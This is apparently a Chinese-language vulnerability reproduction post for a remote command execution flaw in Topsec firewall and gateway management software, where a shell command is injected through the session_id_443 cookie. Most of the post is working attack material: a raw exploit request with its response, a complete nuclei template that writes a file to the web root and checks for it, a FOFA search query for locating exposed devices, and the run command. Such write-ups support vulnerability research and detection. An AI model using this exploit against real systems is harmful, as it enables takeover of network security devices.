【漏洞复现】天融信TOPSEC Cookie 远程命令执行漏洞

GET /cgi/maincgi.cgi?Url=aa HTTP/1.1Host: x.x.x.xCookie: session_id_443=1|echo 'nvgjngfszfzah1' > /www/htdocs/site/image/ecisas.txt;User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

HTTP/1.1 200 OKPragma: no-cacheSet-Cookie: session_id_443=deleted; expires=Sat, 01 Jan 2011 00:00:00 GMT;path=/;;session_id_443=deleted; expires=Sat, 01 Jan 2011 00:00:00 GMT;path=/cgi/;Content-Length: 122Content-Type: text/html; charset=gb2312Date: Tue, 26 Dec 2023 23:53:28 GMTServer: TOPSECCache-Control: no-cache
<script>alert('操作超时');if(window.opener){window.opener.top.location='/';self.close();}else{top.location='/';}</script>

id: topsec-maincgi-cookie-rce
info:  name: 天融信TOPSEC Cookie 远程命令执行漏洞  author: fgz  severity: critical  description: 天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统Cookie参数存在RCE漏洞，会导致服务器失陷。  metadata:    max-request: 1    fofa-query: title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(6))}}"  file_content: "{{to_lower(rand_text_alpha(15))}}"requests:  - raw:      - |+        GET /cgi/maincgi.cgi?Url=aa HTTP/1.1        Host: {{Hostname}}        Cookie: session_id_443=1|echo '{{file_content}}' > /www/htdocs/site/image/{{file_name}}.txt;        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
      - |        GET /site/image/{{file_name}}.txt HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"

nuclei.exe -t mypoc/天融信/topsec-maincgi-cookie-rce.yaml -u https://192.168.40.130